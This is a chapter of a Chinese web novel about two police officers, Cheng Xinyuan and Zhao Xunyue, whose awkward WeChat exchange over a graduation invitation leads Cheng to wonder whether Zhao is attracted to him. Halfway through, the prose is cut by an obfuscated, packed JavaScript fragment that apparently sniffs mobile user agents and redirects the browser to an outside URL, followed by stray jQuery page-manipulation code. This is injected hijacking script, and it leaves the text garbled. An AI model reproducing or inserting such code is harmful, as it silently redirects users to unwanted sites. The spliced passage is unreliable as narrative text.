程辛苑知道赵寻越他爸的身份,很自然就说出这句话,可听进赵寻越耳朵里却是另一番滋味,他赶紧说:“我堂哥他自己的钱买的,不是家里的。” 程辛苑其实只是随口一说,表达一下平民的仰视,是“少爷们”自己有钱还是“少爷们”家里有钱,他不在乎,也跟他无关。但看赵寻越反驳,程辛苑就明白,“少爷们”本人是非常介意的。可“少爷们”为什么介意呢?不管是少爷本人的钱,还是少爷家里的钱,最终不都是“少爷们”的钱吗?可能这就是程辛苑这个平民和“少爷们”的差距吧,反正他是想不明白这个问题。 “行、行。”程辛苑无意跟赵寻越顶嘴,他们的身份已经不是队长和队员了。 “你快去吧,我带我爸妈来吃饭的,走了啊,拜拜。” 他刚迈步,赵寻越忽然叫:“哎!……” 程辛苑停下脚步看他,可赵寻越好像结巴了似的,根本说不出话来。 赵寻越叫住他是一种本能,可叫住后又觉无话可说。他们此刻不是在边境中队,没有业务上的往来后,他发现自己不知道该怎么跟程辛苑打开话题。 他能跟程辛苑聊什么呢?他堂哥的车?他们待会打算去赛车场?还是晚上他们的聚会party?赵寻越忽然发现,一回到左城市区,他和程辛苑两人之间,存在着一种微小又巨大的差距。在临尘县时,他们还能相互对抗、偶尔打趣,回到左城市区,他们之间缺少了一种羁绊,使得赵寻越失去了想挑战程辛苑的欲望,而如果要迎接那个人走进自己的生活,赵寻越又强硬地不愿开这个口。 25. 左城偶遇2 “怎么了?”程辛苑看赵寻越半响没说话,奇怪地问。 程辛苑偶尔会察觉到赵寻越的异常,那是一种很微妙的感觉。赵寻越初来边境中队,程辛苑说过他“不服”,后来随着带教工作的展开,程辛苑发现赵寻越的善意和单纯,渐渐地放下对他的敌对,只把他当一般的警校生看待。可有时候,程辛苑又在赵寻越身上,感受到突如其来的激动和一种隐隐的混乱的压抑。比如给他剪头发时吹了一口气,赵寻越就突然炸毛了,比如赵寻越在屋子里守着程辛苑,看着他昏昏欲睡也不出去。 这种状况,程辛苑很难用反抗或挑衅,这种男性之间的对立情绪来解释。况且程辛苑对赵寻越的态度逐渐变得和气,应该不存在相互敌视的情绪了,那赵寻越为什么总对他有莫名其妙的举动呢? 两人尴尬地缄默了一会儿,赵寻越终是臣服于惯有的傲气说:“……没事。” “……好吧。” 看吧,又来,这小子真的很奇怪耶。程辛苑当时也没深究,说了“拜拜”就走了。 他和爸妈吃完饭回了家。当天晚上,程辛苑读警校时组的一个微信小群一直在蹦消息。这个群的成员是他本科的班主任,以及几个比较要好的同学,总共七个人。明天是越城警察学院的毕业典礼,程辛苑的老师带的研究生要毕业了,老师这几天没事,刚好程辛苑从边境回来,群里的朋友们想组局一起吃饭。 老师说下午要参加研究生的毕业典礼,中午可以请大家在学校吃饭,其他人都发“收到”或“好的”,程辛苑正准备保持队形回复,他老师忽然私戳他,发文字问:赵寻越去你们那里实习了? 程辛苑一惊,立刻猜到什么,回复说:对啊,他不会是您这届带的研究生吧? 老师回说:哈哈,正是。 程辛苑道:那真是太巧了!他来我们中队实习了,刚好是我带他。 老师:挺好。他能力强,人也好。 程辛苑有点八卦的心思,他挺想打听赵寻越为什么会来偏远的临尘县,这个问题直到现在他都没得到答案。但他又想到警校院长赵昶安的身份,估计他老师也不好明说,就打消了这个念头,发了些表扬赵寻越的话。 他老师没再回复,程辛苑干脆点开赵寻越的微信敲字过去问:你研究生导师是XX老师吗? 程辛苑想退出这个界面看看群里的回复,可抬眼就瞧见手机顶端“对方正在输入……”,心想这小子竟然秒回。 过了几秒赵寻越回复:嗯,怎么了? 程辛苑回道:哈哈哈,真的太巧了,他是我本科时候的班主任,刚跟我说到你。 赵寻越那边又显示“对方正在输入……”,但过一会儿提示没了,却没发出来什么。后来又显示“对方正在输入……”,同样提示信息没了,赵寻越也没法发送任何东西。程辛苑想这人要说什么啊这么纠结,干脆自己先发:我们几个同学明天中午跟老师约了聚餐,在学校,老师还说下午去参加你们的毕业典礼。 这回赵寻越连“对方正在输入……”的提示都没了,程辛苑干脆不理他,又跟群里的同学互聊了几句。过了一会儿,页面突然蹦出红色的圆圈,赵寻越给他回复了。程辛苑点开他的对话框,对方就发了一句话:那你明天来我们的毕业典礼吗? 哈,程辛苑忽然有点高兴,不知他猜得对不对,他觉得赵寻越不是在问他来不来,而是希望他来,只是不好意思直接问。程辛苑根本没架子,反正明天也要去学校跟老师聚餐,正打算回复“可以去啊”,对方忽然撤回了刚才那句话。 这一撤回程辛苑就楞了,他完全不觉得那句话有什么可撤回的,而他敲好的四个字停在小框框里,也发不出去。赵寻越这家伙到底什么操作?程辛苑越来越迷惑。 而此时的赵寻越,在他堂哥的party上正无所事事,抱着手机刷朋友圈。 中午他遇到程辛苑后,一下午都心不在焉。晚上他堂哥组织的聚会,赵寻越觉得无聊又不好意思先走,找了个沙发窝着看手机。他调出程辛苑的微信,想看看他今天跟爸妈吃饭有没有发照片,也许还能看看他爸妈长什么样。可程辛苑什么也没发,赵寻越正想往下仔细看看程辛苑以前发的状态,就收到了他的微信。 赵寻越发完“你明天来我们的毕业典礼吗?”,又给撤回了,任谁都看得出这是想让对方来的意思。赵寻越觉得自己又矛盾又傻,搓搓脸不知发什么好。他堂哥隔着老远叫他来玩,赵寻越头都没抬说道:“你们玩吧。” 有人对他堂哥笑说:“你弟都多大了,你别管人家,他爱干嘛干嘛。” 最后那句好像突然点醒了赵寻越。他究竟为什么这么纠结呢,他跟程辛苑说句话为什么想这么多呢,就算他们不再是队长和队员,也可以是朋友,是兄弟啊,程辛苑不总让他叫自己“哥”吗?赵寻越那时觉得,他们之间存在的某种古怪的牵引关系,是地域改变带来的不适应。就好像多年未见的朋友,原本亲密无间,再见面却无法立刻回到原有的亲昵,从而产生一种促狭。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164163|196622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对,一定是这样。赵寻越一朝认定了这个答案,就抛开之前的别扭,决定“爱干嘛干嘛”,他直接给程辛苑发:我邀请你,来我的毕业典礼。 他要邀请程辛苑,他想跟程辛苑一起玩,在左城,而不是在临尘县。临尘县像程辛苑的地盘,那里是程辛苑熟悉的环境,他认识的人多,做什么都心中有数。而庞大的、灯红酒绿的左城市区,看起来更像赵寻越的地盘。赵寻越像个不成熟的小学生,固执地要显摆一下自己的家、自己的领地,要自己快乐,还要拉朋友一起享受自己的快乐。 发完信息,赵寻越窝在沙发上,抱着手机等回复。他不知道手机另一端的程辛苑,此刻陷入沉默。 赵寻越发的第一条信息,有些试探、问询的意思在,程辛苑可以像朋友一样,爽快地答应。而赵寻越发的第二条,看起来更像一种命令,这句话带有的驯服意味更浓,而就是这句代替被撤回的话,使程辛苑敏锐地察觉到赵寻越的不安和悸动,他突然产生了一种大胆的想法——赵寻越的这句话,实在不像普通朋友之间的邀约,反而很像一个天生的1号在诱惑0号,那种请君入瓮、共赴巫山云雨的感觉。 卧槽,这小子该不会?……程辛苑一想到这,果断扔了手机。 赵寻越虽然年纪比程辛苑小,但20多岁不算小孩子了,他自己说过这么多年没交过女朋友,难道是因为他也喜欢男的?可程辛苑肉眼识人的能力很强,他觉得赵寻越肯定不是弯的,至少他的种种表现不是。如果赵寻越真的是同性恋,那只有两种可能,一种是他深柜拒出,还有一种就是,赵寻越并不能认清自己的性向,弯而不自知。 程辛苑心中一阵阵惊讶,他能感受到赵寻越对他有一些莫名其妙的反应,但他一直认为对方是直男,没往其它方面想,或者说他没想过自己跟赵寻越有发展的可能。但如果赵寻越也是同志呢?如果性向不会成为两人的阻碍,那么作为另一半,赵寻越可以列入程辛苑的考察范围吗? 这个时候程辛苑突然想起他妈妈的话,“年轻多好啊,年轻人有活力、有冲劲、有胆识、有气魄”。是,赵寻越这些都有,而且他长得帅、家境好、学历高,善良、内敛、会赛车,最重要的是,这个真正的小帅哥,还可能偷偷喜欢着自己。 操,这么一想,赵寻越真是个不错的人选,是个不差的对象,可程辛苑依然陷入犹豫和沉默。假定赵寻越真的对自己有那方面的意思,但不敢表达,或没考虑清楚不想表达,那么猜到他心思的程辛苑,要不要往前走一步呢?